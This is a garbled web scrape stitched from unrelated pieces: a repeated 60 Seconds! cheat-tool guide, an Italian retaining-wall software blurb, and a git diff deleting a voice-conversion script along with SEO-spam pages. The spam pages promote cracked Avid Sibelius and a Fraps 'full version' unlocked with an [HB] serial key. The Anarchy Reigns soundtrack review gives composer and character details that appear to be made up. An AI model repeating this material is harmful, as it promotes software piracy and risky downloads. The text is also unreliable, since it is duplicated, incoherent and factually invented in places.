            Mods or customizations are user-made modifications that can alter the game's appearance, content, or gameplay. They can add new features, items, characters, or scenarios to 60 Seconds! and make it more fun or diverse. However, not all mods or customizations are compatible or stable with the game version or system.

            - -

            To download and install mods or customizations for 60 Seconds!, you should follow these steps:

            - -
              -
            1. Find a reputable website that offers mods or customizations for 60 Seconds!, such as Nexus Mods or Mod DB. Read the descriptions and instructions of the mods or customizations to make sure they suit your needs and preferences.
              2. -
            2. Download the mods or customizations from the website and extract them to a folder on your computer. Follow the instructions provided by the website or the modder.
              3. -
            3. Locate the game's installation folder on your computer and backup the original files that will be replaced by the mods or customizations.
              4. -
            4. Copy and paste the modded files into the game's installation folder and overwrite the original files if necessary.
              5. -
            5. Launch 60 Seconds! from Steam and enjoy the game with your chosen mods or customizations.
              6. -
            - -

            Conclusion

            - -

            60 Seconds! is a survival-indie-game that was released in 2015 by Robot Gentleman. The game challenges you to collect items and keep your family safe in a bunker before a nuclear bomb drops. You only have 60 seconds to scavenge your house and grab what you need, then face the consequences of your choices in the post-apocalyptic scenario.

            - -

            The game is full of black humor and unpredictable events, making it a fun and engaging experience. However, some players may want to use PC hack tools to cheat their way through 60 Seconds! and make the game easier or more enjoyable.

            - -

            PC hack tools are software programs that modify the game's code or memory to give you advantages or unlock features that are not normally available. You can download and use PC hack tools for 60 Seconds! from reputable websites such as WeMod or PLITCH, but you should be careful of viruses, malware, or spyware that may harm your computer or personal information. You should also use PC hack tools at your own discretion and risk, as some players may consider them as cheating or ruining the game's challenge and immersion.

            - -

            If you don't want to use PC hack tools for 60 Seconds!, but still want to have some advantages or tips in the game, you can try some alternatives that are more legitimate or ethical. You can use guides, walkthroughs, or tutorials that can help you learn the game's mechanics, strategies, and secrets. You can use mods or customizations that can change the game's appearance, content, or gameplay. You can use cheats or codes that are built-in or official in the game.

            - -

            If you are interested in downloading and using PC hack tools for 60 Seconds!, you can follow this guide and enjoy the game with your chosen cheats. If you are interested in downloading and installing mods or customizations for 60 Seconds!, you can follow this guide and enjoy the game with your chosen mods or customizations.

            -

            Conclusion

            - -

            60 Seconds! is a survival-indie-game that was released in 2015 by Robot Gentleman. The game challenges you to collect items and keep your family safe in a bunker before a nuclear bomb drops. You only have 60 seconds to scavenge your house and grab what you need, then face the consequences of your choices in the post-apocalyptic scenario.

            - -

            The game is full of black humor and unpredictable events, making it a fun and engaging experience. However, some players may want to use PC hack tools to cheat their way through 60 Seconds! and make the game easier or more enjoyable.

            - -

            PC hack tools are software programs that modify the game's code or memory to give you advantages or unlock features that are not normally available. You can download and use PC hack tools for 60 Seconds! from reputable websites such as WeMod or PLITCH, but you should be careful of viruses, malware, or spyware that may harm your computer or personal information. You should also use PC hack tools at your own discretion and risk, as some players may consider them as cheating or ruining the game's challenge and immersion.

            - -

            If you don't want to use PC hack tools for 60 Seconds!, but still want to have some advantages or tips in the game, you can try some alternatives that are more legitimate or ethical. You can use guides, walkthroughs, or tutorials that can help you learn the game's mechanics, strategies, and secrets. You can use mods or customizations that can change the game's appearance, content, or gameplay. You can use cheats or codes that are built-in or official in the game.

            - -

            If you are interested in downloading and using PC hack tools for 60 Seconds!, you can follow this guide and enjoy the game with your chosen cheats. If you are interested in downloading and installing mods or customizations for 60 Seconds!, you can follow this guide and enjoy the game with your chosen mods or customizations.

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            Questo programma è pensato per il **progetto** e la verifica di **paramenti a semigravità**, cioè strutture murarie con superfici laterali articolate, che si oppongono alla spinta del terreno con il loro peso. Ad esempio, muri a contrafforte a costole inclinate. Il foglio di calcolo esegue tutte le verifiche sulla stabilità del muro, escluse le verifiche alla stabilità del pendio. Si calcola l'azione sismica attraverso analisi pseudo-statica. Il calcolo della spinta viene effettuato sfruttando le varie teorie presenti in letteratura: Rankine; Muller-Breslau; Lancellotta; Mononobe-Okabe; Spinta a riposo. Si considera inoltre la spinta dell'acqua e la riduzione di spinta dovuta alla coesione. Si può anche fare l'ipotesi che a tergo del paramento venga realizzato un drenaggio, annullando in questo modo le spinte dell'acqua. Il foglio esegue il calcolo della capacità portante del terreno di fondazione utilizzando la formula di Brich-Hansen, con coefficienti correttivi. Le verifiche geotecniche dettate dalle NTC-08 e NTC18, sono eseguite dando la possibilità di scegliere i diversi approcci e le diverse combinazioni, sia in condizioni drenate che non drenate. Le verifiche di tipo GEO vanno condotte in approccio 1 combinazione 2, in quanto si ottengono i valori più gravosi. Nel caso di terreni saturi poco permeabili l'incremento delle tensioni totali dovuto al carico trasmesso dalla fondazione nel terreno genera a breve termine ΔU>0, A lungo termnine le tensioni efficaci crescono e di conseguenza il carico limite. La condizione più sfavorevole per la stabilità della fondazione si ha perciò al termine della costruzione. Pertanto, il calcolo del carico limite viene eseguito in termini di tensioni totali a breve termine. Nel caso di terreni molto permeabili, la verifica di stabilità deve essere eseguita in tensioni efficaci, tenendo conto della posizione della falda e dei valori delle pressioni neutre nel terreno. Si trascura a vantaggio di sicurezza la sottospinta idraulica dovuta alla falda.

            Il programma permette di inserire i dati geometrici e meccanici del muro, del terreno e della falda. Inoltre, è possibile specificare il tipo di analisi sismica (spettrale o accelerogramma), il livello di sicurezza (parziale o globale) e il metodo di calcolo della spinta (semplificato o rigoroso). Il programma fornisce in output i diagrammi delle spinte e delle reazioni vincolari, il valore del carico limite e il fattore di sicurezza. In caso di verifica non soddisfatta, il programma suggerisce le possibili soluzioni per migliorare la stabilità del muro.

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            Il programma è basato sulle normative tecniche per le costruzioni (NTC) vigenti in Italia. Tuttavia, è possibile adattarlo ad altre normative nazionali o internazionali, modificando i parametri di progetto e i coefficienti di sicurezza. Il programma è stato validato confrontando i risultati con quelli ottenuti da altri software o da esempi tratti dalla letteratura scientifica. Il programma è fornito di una guida all'uso e di un manuale tecnico che illustrano le ipotesi, le formule e i criteri adottati.

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            diff --git a/spaces/r3gm/AICoverGen/src/rvc.py b/spaces/r3gm/AICoverGen/src/rvc.py deleted file mode 100644 index a2790602462859e4a9885c145a13ff86efba8a3c..0000000000000000000000000000000000000000 --- a/spaces/r3gm/AICoverGen/src/rvc.py +++ /dev/null @@ -1,166 +0,0 @@ -from multiprocessing import cpu_count -from pathlib import Path - -import torch -from fairseq import checkpoint_utils -from scipy.io import wavfile - -from infer_pack.models import ( - SynthesizerTrnMs256NSFsid, - SynthesizerTrnMs256NSFsid_nono, - SynthesizerTrnMs768NSFsid, - SynthesizerTrnMs768NSFsid_nono, -) -from my_utils import load_audio -from vc_infer_pipeline import VC - -BASE_DIR = Path(__file__).resolve().parent.parent - - -# config cpu -def use_fp32_config(): - for config_file in [ - "32k.json", - "40k.json", - "48k.json", - "48k_v2.json", - "32k_v2.json", - ]: - with open(f"src/configs/{config_file}", "r") as f: - strr = f.read().replace("true", "false") - with open(f"src/configs/{config_file}", "w") as f: - f.write(strr) - -class Config: - def __init__(self, device, is_half): - self.device = device - self.is_half = is_half - self.n_cpu = 2 # set cpu cores - self.gpu_name = None - self.gpu_mem = None - self.x_pad, self.x_query, self.x_center, self.x_max = self.device_config() - - def device_config(self) -> tuple: - if torch.cuda.is_available(): - i_device = int(self.device.split(":")[-1]) - self.gpu_name = torch.cuda.get_device_name(i_device) - if ( - ("16" in self.gpu_name and "V100" not in self.gpu_name.upper()) - or "P40" in self.gpu_name.upper() - or "1060" in self.gpu_name - or "1070" in self.gpu_name - or "1080" in self.gpu_name - ): - print("16 series/10 series P40 forced single precision") - self.is_half = False - for config_file in ["32k.json", "40k.json", "48k.json"]: - with open(BASE_DIR / "src" / "configs" / config_file, "r") as f: - strr = f.read().replace("true", "false") - with open(BASE_DIR / "src" / "configs" / config_file, "w") as f: - f.write(strr) - with open(BASE_DIR / "src" / "trainset_preprocess_pipeline_print.py", "r") as f: - strr = f.read().replace("3.7", "3.0") - with open(BASE_DIR / "src" / "trainset_preprocess_pipeline_print.py", "w") as f: - f.write(strr) - else: - self.gpu_name = None - self.gpu_mem = int( - torch.cuda.get_device_properties(i_device).total_memory - / 1024 - / 1024 - / 1024 - + 0.4 - ) - if self.gpu_mem <= 4: - with open(BASE_DIR / "src" / "trainset_preprocess_pipeline_print.py", "r") as f: - strr = f.read().replace("3.7", "3.0") - with open(BASE_DIR / "src" / "trainset_preprocess_pipeline_print.py", "w") as f: - f.write(strr) - elif torch.backends.mps.is_available(): - print("No supported N-card found, use MPS for inference") - self.device = "mps" - else: - print("No supported N-card found, use CPU for inference") - self.device = "cpu" - self.is_half = False - use_fp32_config() # cpu config - - if self.n_cpu == 0: - self.n_cpu = cpu_count() - - if self.is_half: - # 6G memory config - x_pad = 3 - x_query = 10 - x_center = 60 - x_max = 65 - else: - # 5G memory config - x_pad = 1 - x_query = 6 - x_center = 38 - x_max = 41 - - if self.gpu_mem != None and self.gpu_mem <= 4: - x_pad = 1 - x_query = 5 - x_center = 30 - x_max = 32 - - return x_pad, x_query, x_center, x_max - - -def load_hubert(device, is_half, model_path): - models, saved_cfg, task = checkpoint_utils.load_model_ensemble_and_task([model_path], suffix='', ) - hubert = models[0] - hubert = hubert.to(device) - - if is_half: - hubert = hubert.half() - else: - hubert = hubert.float() - - hubert.eval() - return hubert - - -def get_vc(device, is_half, config, model_path): - cpt = torch.load(model_path, map_location='cpu') - if "config" not in cpt or "weight" not in cpt: - raise ValueError(f'Incorrect format for {model_path}. Use a voice model trained using RVC v2 instead.') - - tgt_sr = cpt["config"][-1] - cpt["config"][-3] = cpt["weight"]["emb_g.weight"].shape[0] - if_f0 = cpt.get("f0", 1) - version = cpt.get("version", "v1") - - if version == "v1": - if if_f0 == 1: - net_g = SynthesizerTrnMs256NSFsid(*cpt["config"], is_half=is_half) - else: - net_g = SynthesizerTrnMs256NSFsid_nono(*cpt["config"]) - elif version == "v2": - if if_f0 == 1: - net_g = SynthesizerTrnMs768NSFsid(*cpt["config"], is_half=is_half) - else: - net_g = SynthesizerTrnMs768NSFsid_nono(*cpt["config"]) - - del net_g.enc_q - print(net_g.load_state_dict(cpt["weight"], strict=False)) - net_g.eval().to(device) - - if is_half: - net_g = net_g.half() - else: - net_g = net_g.float() - - vc = VC(tgt_sr, config) - return cpt, version, net_g, tgt_sr, vc - - -def rvc_infer(index_path, index_rate, input_path, output_path, pitch_change, f0_method, cpt, version, net_g, filter_radius, tgt_sr, rms_mix_rate, protect, crepe_hop_length, vc, hubert_model): - audio = load_audio(input_path, 16000) - times = [0, 0, 0] - if_f0 = cpt.get('f0', 1) - audio_opt = vc.pipeline(hubert_model, net_g, 0, audio, input_path, times, pitch_change, f0_method, index_path, index_rate, if_f0, filter_radius, tgt_sr, 0, rms_mix_rate, version, protect, crepe_hop_length) - wavfile.write(output_path, tgt_sr, audio_opt) diff --git a/spaces/raedeXanto/academic-chatgpt-beta/Anarchy Reigns Soundtrack Rar 11 ((LINK)).md b/spaces/raedeXanto/academic-chatgpt-beta/Anarchy Reigns Soundtrack Rar 11 ((LINK)).md deleted file mode 100644 index 9829f550a31f72bedaa7123b16dc12f27ac93bd3..0000000000000000000000000000000000000000 --- a/spaces/raedeXanto/academic-chatgpt-beta/Anarchy Reigns Soundtrack Rar 11 ((LINK)).md +++ /dev/null @@ -1,72 +0,0 @@ - -

            Anarchy Reigns Soundtrack Rar 11: A Review of the Music from the Game

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            If you are a fan of action-packed beat 'em up games, you might have heard of Anarchy Reigns, a game developed by PlatinumGames and published by Sega in 2012. The game features a diverse cast of characters, each with their own unique fighting style and personality, who battle each other in a post-apocalyptic world. But what makes this game stand out from other similar games is its amazing soundtrack, which combines hip-hop, rock, metal, and electronic music to create a thrilling and immersive experience for the players. In this article, we will review the soundtrack of Anarchy Reigns, also known as Max Anarchy in Japan, and tell you how you can get it in different formats.

            -

            What is Anarchy Reigns?

            -

            A brief introduction to the game and its genre

            -

            Anarchy Reigns is a third-person multiplayer brawler game that can be played online or offline. The game has two modes: campaign mode and multiplayer mode. In campaign mode, you can choose to play as either Jack Cayman or Leo Victorion, two bounty hunters who are searching for a mysterious man named Maximillian Caxton. Along the way, you will encounter various enemies and allies, who will join or oppose you depending on your actions. In multiplayer mode, you can choose from 16 different characters, each with their own special moves and abilities, and compete with other players in various modes such as deathmatch, capture the flag, survival, and more.

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            The main characters and their fighting styles

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            The game features 16 playable characters, each with their own backstory and personality. Some of them are original characters created for this game, while others are returning characters from previous games by PlatinumGames, such as MadWorld and Bayonetta. Here are some of the main characters and their fighting styles:

            -
              -
            • Jack Cayman: A grizzled veteran bounty hunter who wields a chainsaw-like weapon called the Gator Tooth. He is brutal and ruthless in combat, using his weapon to slice and dice his enemies.
              • -
            • Leo Victorion: A young and idealistic agent of the Bureau of Public Safety who uses a pair of energy blades called Positron Blades. He is agile and precise in combat, using his blades to slash and stab his enemies.
              • -
            • Nikolai Dmitri Bulygin: A former soldier who lost his limbs in a war and replaced them with cybernetic prosthetics. He uses a pair of guns called Tesla Blitz that can fire electric bullets or transform into electric whips. He is versatile and unpredictable in combat, using his guns to shoot or whip his enemies.
              • -
            • Sasha Ivanoff: A female agent of the Bureau of Public Safety who uses a weapon called Snow Spikes that can create ice projectiles or ice walls. She is elegant and graceful in combat, using her weapon to freeze or shatter her enemies.
              • -
            • Mathilda: A female bounty hunter who uses a weapon called Iron Maiden that can transform into a giant spiked ball or a spiked flail. She is fierce and savage in combat, using her weapon to crush or impale her enemies.
              • -
            • Zero: A mysterious swordsman who uses a pair of katanas called Onimaru that can create shockwaves or fireballs. He is swift and deadly in combat, using his swords to slash or blast his enemies.
              • -
            -

            The plot and the setting of the game

            -

            The game takes place in a futuristic world that has been devastated by a global war. The war has caused massive environmental damage, resulting in natural disasters such as earthquakes, floods, volcanic eruptions, and more. The war has also caused social chaos, leading to widespread crime, violence, corruption, and anarchy. The game's story revolves around the hunt for Maximillian Caxton, a former soldier who is wanted for mass murder. Caxton is believed to be hiding in Altambra City, a lawless metropolis that is ruled by gangs, warlords, mutants, cyborgs, and monsters. The game's campaign mode consists of two stories: Black Side and White Side. Black Side follows Jack Cayman's perspective as he pursues Caxton for personal reasons. White Side follows Leo Victorion's perspective as he pursues Caxton for justice reasons. The two stories intersect at certain points, leading to different outcomes depending on your choices.

            -

            What is the soundtrack of Anarchy Reigns?

            -

            The composers and the performers of the music

            -

            The soundtrack of Anarchy Reigns was composed by four talented musicians: Naoto Tanaka, Hiroshi Yamaguchi, Akira Takizawa, and DJ Babu. Naoto Tanaka is best known for his work on Mega Man X series and Phoenix Wright series. Hiroshi Yamaguchi is best known for his work on Okami and Bayonetta series. Akira Takizawa is best known for his work on Resident Evil series and Devil May Cry series. DJ Babu is best known for being a member of Dilated Peoples, a hip-hop group from Los Angeles.

            -

            The soundtrack also features various vocalists who performed rap songs for each character's theme song. Some of them are well-known rappers such as Dilated Peoples (for This Is Madness), while others are underground artists such as Skitz The Samurida (for We All Soldiers) or Doujah Raze (for Find You). Each vocalist brought their own style and flavor to their songs, creating a diverse and dynamic soundtrack that matches each character's personality.

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            \ No newline at end of file diff --git a/spaces/raedeXanto/academic-chatgpt-beta/Avid Sibelius 8.2.0 Crack FREE Download Why You Need This Amazing Software for Your Music Projects.md b/spaces/raedeXanto/academic-chatgpt-beta/Avid Sibelius 8.2.0 Crack FREE Download Why You Need This Amazing Software for Your Music Projects.md deleted file mode 100644 index 8337c658fc9a49cf636707ef9fd0751d681b4b74..0000000000000000000000000000000000000000 --- a/spaces/raedeXanto/academic-chatgpt-beta/Avid Sibelius 8.2.0 Crack FREE Download Why You Need This Amazing Software for Your Music Projects.md +++ /dev/null @@ -1,105 +0,0 @@ -
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            You can get better interpretation of notation elements such as grace notes, tremolos, rolls, mordents, turns, trills, repeat endings, pedal lines, arpeggio lines, glissando lines, multi-textured lines (hairpins), instrument changes (divisi), aleatoric notation (wiggly lines), fingerings (including guitar chord diagrams), tablature notation (including lute tablature), figured bass notation (including thoroughbass notation), chord symbols (including Nashville Number System), lyrics (including melismatic lyrics), dynamics (including hairpins), articulations (including ornaments), slurs (including ties), tuplets (including nested tuplets), cross-staff beaming (including cross-staff slurs), cue notes (including cue-sized rests), ossias (including cutaway staves), repeat barlines (including volta brackets), time signatures (including polymetric notation), key signatures (including atonal notation), clefs (including octave transposition clefs), barlines (including dashed barlines), rests (including multirests), notes (including microtones), accidentals (including quarter-tones), stems (including stemlets), flags (including feathered beaming), noteheads (including custom noteheads), ledger lines (including leger lines beyond five lines), brackets (including sub-brackets), braces (including sub-braces), system dividers (including system divider up/down arrows).

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            To run Avid Sibelius 8.2.0 Crack on your computer, you need to meet the following system requirements:

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            Supported OS64-bit Windows 7 (SP1 or later), Windows 8.1 (not Windows RT), or Windows 10
            RAM1 GB RAM (2 GB recommended)
            Free Hard Disk Space1 GB hard disk space for Sibelius software only
            DVD-ROM drive(only for Media Pack)
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            How to download and install Avid Sibelius 8.2.0 Crack

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            Conclusion and FAQs

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            Avid Sibelius 8.2.0 Crack is a powerful and easy-to-use music notation software that offers many features for composing, arranging, publishing, educating, and learning music.

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            A: Avid Sibelius 8.2.0 is the previous version of Avid Sibelius Ultimate, which is the current version of the software. Avid Sibelius Ultimate has more features and improvements than Avid Sibelius 8.2.0, such as unlimited number of staves per score, advanced notation and layout tools, custom staff sizes, graphics import and export, music fonts and symbols, video playback and sync, cloud sharing and storage, and more.

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            \ No newline at end of file diff --git a/spaces/raedeXanto/academic-chatgpt-beta/FSX FSDreamTeam Zurich Kloten V2.5 The Ultimate Scenery for Zrich Airport.md b/spaces/raedeXanto/academic-chatgpt-beta/FSX FSDreamTeam Zurich Kloten V2.5 The Ultimate Scenery for Zrich Airport.md deleted file mode 100644 index 48199651a131e9d36e9145f2180bbe8daf4601a8..0000000000000000000000000000000000000000 --- a/spaces/raedeXanto/academic-chatgpt-beta/FSX FSDreamTeam Zurich Kloten V2.5 The Ultimate Scenery for Zrich Airport.md +++ /dev/null @@ -1,132 +0,0 @@ -
            -

            FSX FSDreamTeam Zurich Kloten V2.5: A Review

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            If you are looking for a realistic and immersive scenery for your flight simulator, you might want to check out FSX FSDreamTeam Zurich Kloten V2.5. This is a scenery developed for Microsoft Flight Simulator X (FSX) and Flight Simulator 2004 (FS9), as well as Lockheed Martin Prepar3D (P3D). It is based on the real-life Zürich Airport, the largest international airport in Switzerland and a major hub for Swiss International Air Lines.

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            Features of FSX FSDreamTeam Zurich Kloten V2.5

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            One of the most innovative features of FSX FSDreamTeam Zurich Kloten V2.5 is the ParkMe™ feature. This is a working A-VGDS (Advanced Visual Docking Guidance System) docking system that automatically recognizes your airplane type and assigns you a suitable parking spot . It also evaluates your parking accuracy and gives you feedback on how well you did.

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            Another cool feature of FSX FSDreamTeam Zurich Kloten V2.5 is the YouControl™ feature. This is a custom airport actions menu that allows you to trigger animations, events, sounds, and effects at the airport with a simple click . For example, you can open or close hangar doors, activate fire trucks, turn on or off runway lights, play announcements, and more.

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            This feature gives you more control and interactivity over your airport environment, as well as fun and variety. You can also customize the menu items to suit your preferences.

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            Ground and runways: How are they customized and integrated with Flight Simulator?

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            FSX FSDreamTeam Zurich Kloten V2.5 has fully customized ground and runways in high resolution, both in FSX and FS9 . The ground terrain is seamlessly integrated with Flight Simulator, in all seasonal variations . You will see realistic textures, markings, signs, grass, snow, water, reflections, shadows, and more.

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            This feature enhances the visual quality and performance of your scenery, as well as the immersion factor. You will feel like you are flying over a real airport with accurate details.

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            ParkMe system: How does it work with safegates and airplane recognition?

            -

            The ParkMe system of FSX FSDreamTeam Zurich Kloten V2.5 also works with safegates that have automatic airplane recognition . Safegates are devices that help pilots align their airplanes with the parking spot by displaying signals such as stop bars, distance indicators, azimuth indicators, etc.

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            The safegates in this scenery can recognize your airplane type and adjust their signals accordingly . For example, if you are flying a large airplane like a Boeing 747, the safegate will display a higher stop bar than if you are flying a smaller airplane like a Bombardier CRJ.

            -

            This feature adds more realism and accuracy to your parking experience, as well as safety and convenience.

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            Jetways: How are they animated and inverse-kinematics based in FSX?

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            FSX FSDreamTeam Zurich Kloten V2.5 has native animated inverse-kinematics based jetways in FSX . Jetways are movable bridges that connect the terminal building with the airplane door, allowing passengers to board or disembark.

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            The jetways in this scenery are animated using inverse-kinematics technology, which means they can adapt their shape and position to fit any airplane door without clipping or stretching. They also have realistic sounds and movements.

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            This feature adds more realism and functionality to your scenery, as well as convenience for passengers.

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            Ground vehicles: How many and what kind of animated custom vehicles are there?

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            FSX FSDreamTeam Zurich Kloten V2.5 has many animated custom ground vehicles that populate the airport area . You will see buses, cars, trucks, vans, pushback tugs, baggage carts, fuel trucks, catering trucks, fire trucks, de-icing trucks, etc.

            -

            These vehicles have realistic models, textures, sounds, lights, movements, and behaviors. They also interact with your airplane when necessary, such as pushing back or de-icing.

            -

            This feature adds more realism and life to your scenery, as well as diversity and interest.

            -

            Material properties: How do they use bump and specular mapping in FSX?

            -

            FSX FSDreamTeam Zurich Kloten V2.5 uses the advanced material properties in FSX, such as bump and specular mapping . Bump mapping is a technique that creates the illusion of depth and detail on flat surfaces, such as runways, buildings, or vehicles. Specular mapping is a technique that creates the illusion of shininess and reflection on surfaces, such as glass, metal, or water.

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            This feature enhances the realism and quality of your scenery, as well as the lighting and shading effects.

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            Taxiways lighting: How is it fully 3D and realistic?

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            FSX FSDreamTeam Zurich Kloten V2.5 has fully 3D taxiways lighting . This means that the taxiways lights are not just flat textures, but actual 3D objects that cast light and shadows on the ground and other objects. They also have realistic colors, intensities, and patterns.

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            This feature enhances the realism and performance of your scenery, as well as the visibility and safety of your taxiing.

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            Vegetation: How does it react to seasonal changes and snow?

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            FSX FSDreamTeam Zurich Kloten V2.5 has vegetation that reacts to seasonal changes, with customized snow-covered trees in winter . This means that the trees and grass around the airport change their appearance and color according to the season, creating a dynamic and natural environment. In winter, the trees are covered with snow, adding more realism and beauty to the scenery.

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            This feature enhances the realism and diversity of your scenery, as well as the immersion factor. You will feel like you are flying over a real airport with changing seasons.

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            De-icing system: How is it modeled in 3D and available at 6 parking stands?

            -

            FSX FSDreamTeam Zurich Kloten V2.5 has a de-icing system modeled in 3D, available at 6 parking stands . This means that you can request a de-icing service for your airplane when the weather conditions require it, such as snow or ice. A de-icing truck will approach your airplane and spray a de-icing fluid on your wings and tail, removing any ice accumulation and preventing further formation.

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            This feature adds more realism and functionality to your scenery, as well as convenience and safety for your flight. You can also watch the de-icing process from different views and angles.

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            Building textures: How are they high resolution and detailed?

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            FSX FSDreamTeam Zurich Kloten V2.5 has high resolution building textures . This means that the buildings at the airport have realistic and detailed textures that show signs, logos, windows, doors, roofs, etc. The textures are also crisp and clear, without any blurriness or pixelation.

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            This feature enhances the realism and quality of your scenery, as well as the visual appeal. You will see realistic and detailed buildings that match the real airport.

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            Interiors: Which buildings have modeled interiors and why are they important?

            -

            FSX FSDreamTeam Zurich Kloten V2.5 has interiors modeled for the most important buildings . This means that you can see inside some of the buildings at the airport, such as the terminals, the control tower, the hangars, etc. You will see realistic and detailed interiors that show furniture, equipment, people, etc.

            -

            This feature enhances the realism and immersion of your scenery, as well as the interest and curiosity. You can explore and discover different parts of the airport from inside.

            -

            System Requirements of FSX FSDreamTeam Zurich Kloten V2.5

            -

            Before you buy FSX FSDreamTeam Zurich Kloten V2.5, you need to make sure that your computer meets the minimum and recommended specifications for running the scenery on FS9, FSX, or P3D. Here are the system requirements according to the official website:

            - | Minimum | Recommended | | --- | --- | | OS: Windows 8.1 | OS: Windows 10 | | CPU: 2 GHz dual core | CPU: 3 GHz quad core | | RAM: 4 GB | RAM: 8 GB | | GPU: DirectX 10 compatible with 512 MB VRAM | GPU: DirectX 11 compatible with 4 GB VRAM | | HDD: 500 MB free space | HDD: 1 GB free space |

            Note that these are general requirements for running the scenery on any of the supported simulators. You may also need to check the specific requirements for each simulator separately.

            -

            Conclusion

            -

            FSX FSDreamTeam Zurich Kloten V2.5 is a realistic and immersive scenery for FS9, FSX, and P3D that recreates the Zürich Airport in Switzerland with great attention to visual quality and performance. It has many features that enhance your flying experience, such as:

            -
              -
            • Update 2.5 with the new Terminal B
              • -
            • ParkMe™ feature with working A-VGDS docking system
              • -
            • YouControl™ feature with custom airport actions menu
              • -
            • Fully customized ground and runways in high resolution
              • -
            • ParkMe system with working safegates and airplane recognition
              • -
            • Native animated inverse-kinematics based jetways in FSX
              • -
            • Many animated custom ground vehicles
              • -
            • Advanced material properties with bump and specular mapping in FSX
              • -
            • Fully 3D taxiways lighting
              • -
            • Vegetation that reacts to seasonal changes with snow-covered trees in winter
              • -
            • De-icing system modeled in 3D at 6 parking stands
              • -
            • High resolution building textures
              • -
            • Interiors modeled for the most important buildings
              • -
            -

            If you are looking for a scenery that will make you feel like you are flying over a real airport with accurate details and dynamic environment, FSX FSDreamTeam Zurich Kloten V2.5 is a great choice for you. You can buy it online from various websites such as simMarket or FSDreamTeam for €8.99 or $10.59 (as of January 2022).

            -

            FAQs

            -

            Q: How do I install FSX FSDreamTeam Zurich Kloten V2.5?

            -

            A: You can install FSX FSDreamTeam Zurich Kloten V2.5 by downloading the installer from the website where you bought it and running it on your computer. The installer will guide you through the installation process and ask you to enter your activation code and serial number that you received after purchasing the product. The installer will also detect which simulators you have installed on your computer and install the scenery accordingly.

            -

            Q: How do I activate FSX FSDreamTeam Zurich Kloten V2.5?

            -

            A: You can activate FSX FSDreamTeam Zurich Kloten V2.5 by entering your activation code and serial number that you received after purchasing the product in the Addon Manager that is included in the scenery package. The Addon Manager will verify your activation online and allow you to use the scenery without any limitations.

            -

            Q: How do I update FSX FSDreamTeam Zurich Kloten V2.5?

            -

            A: You can update FSX FSDreamTeam Zurich Kloten V2.5 by downloading the latest version of the installer from the website where you bought it and running it on your computer. The installer will detect which version of the scenery you have installed on your computer and update it accordingly.

            -

            Q: How do I uninstall FSX FSDreamTeam Zurich Kloten V2.5?

            -

            A: You can uninstall FSX FSDreamTeam Zurich Kloten V2.5 by running the uninstaller that is included in the scenery package or by using the Windows Control Panel to remove it from your computer.

            -

            Q: How do I get support for FSX FSDreamTeam Zurich Kloten V2.5?

            -

            A: You can get support for FSX FSDreamTeam Zurich Kloten V2.5 by visiting the official website of FSDreamTeam or by contacting them via email at support@fsdreamteam.com . You can also visit their forum where you can find answers to common questions or ask for help from other users or developers.

            -

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            \ No newline at end of file diff --git a/spaces/raedeXanto/academic-chatgpt-beta/Fraps 3.2.2 Build 11496 Retail-[HB] Full Version Features Benefits and Reviews.md b/spaces/raedeXanto/academic-chatgpt-beta/Fraps 3.2.2 Build 11496 Retail-[HB] Full Version Features Benefits and Reviews.md deleted file mode 100644 index 00f61f964057c0b8edd3f6f9265664db9923de82..0000000000000000000000000000000000000000 --- a/spaces/raedeXanto/academic-chatgpt-beta/Fraps 3.2.2 Build 11496 Retail-[HB] Full Version Features Benefits and Reviews.md +++ /dev/null @@ -1,104 +0,0 @@ -
            -

            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version: A Review

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            If you are looking for a software that can help you record your PC screen, audio, and gameplay, then you might want to check out Fraps 3.2.2 Build 11496 Retail-[HB] Full Version. This is the latest and most stable release of Fraps, a popular software that has been around since 1999. In this article, we will review what Fraps is, what it can do, what are its features, and how to download and install it.

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            Fraps 3.2.2 Build 11496 Retail-[HB] full version


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            Fraps is a software that can capture video and audio from your PC screen, whether you are playing a game, watching a movie, or browsing the web. You can use Fraps to record your gameplay, create tutorials, make reviews, or share your experiences with others.

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            Fraps can also measure the performance of your PC and games by showing you the frames per second (FPS) on your screen. You can use Fraps to benchmark your system, test your hardware, or optimize your settings.

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            Fraps can save your recordings in various formats and resolutions, depending on your preferences and needs. You can choose between AVI and MP4 for video formats, and WAV or MP3 for audio formats. You can also adjust the frame rate, quality, size, and compression of your files.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is the latest and most stable release of Fraps that has some improvements and bug fixes over previous versions.

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            Improved capture speed for DirectX 8 games

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version has improved the capture speed for DirectX 8 games, which means you can record smoother videos with less lag and stuttering.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version has fixed a problem that caused the audio to go out of sync with the video in long recordings, which means you can record longer videos without worrying about losing synchronization.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version has fixed a crash that occurred when changing video modes in some games, which means you can switch between windowed and fullscreen modes without crashing.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version has fixed a bug that prevented Fraps from capturing from monitors with non-standard refresh rates, such as 120 Hz or 144 Hz, which means you can record from any monitor without issues.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version has fixed a bug that caused the mouse cursor to disappear or appear distorted in some recordings, which means you can record your mouse movements accurately.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version is very user-friendly and simple to use. You can access Fraps from a small interface that shows you the current FPS, the status of the recording, and the available options. You can also use hotkeys to start and stop recording, take screenshots, or toggle the FPS overlay.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version also allows you to customize the settings for video, audio, screenshots, and benchmarks according to your preferences and needs. You can change the video capture settings such as frame rate, quality, size, and format. You can also change the audio capture settings such as volume, input device, and format. You can also change the screenshot settings such as format, quality, and naming. You can also change the benchmark settings such as hotkey, overlay position, and log file.

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            Fraps 3.2.2 Build 11496 Retail-[HB] Full Version also lets you choose where to save your files and how to name them. You can select a different folder for each type of file (video, audio, screenshot, benchmark) or use the same folder for all files. You can also choose a naming scheme for your files based on date and time or sequential numbers.

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            How to download and install Fraps 3.2.2 Build 11496 Retail-[HB] Full Version?

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            If you want to download and install Fraps 3.2.2 Build 11496 Retail-[HB] Full Version on your PC, you have two options: you can either download it from the official website or from trusted sources.

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            However, if you want to download Fraps 3.2.2 Build 11496 Retail-[HB] Full Version, which is the full version with no limitations and no watermark, you will need to download it from trusted sources that provide the serial key provided by [HB], who is a well-known cracker of software.

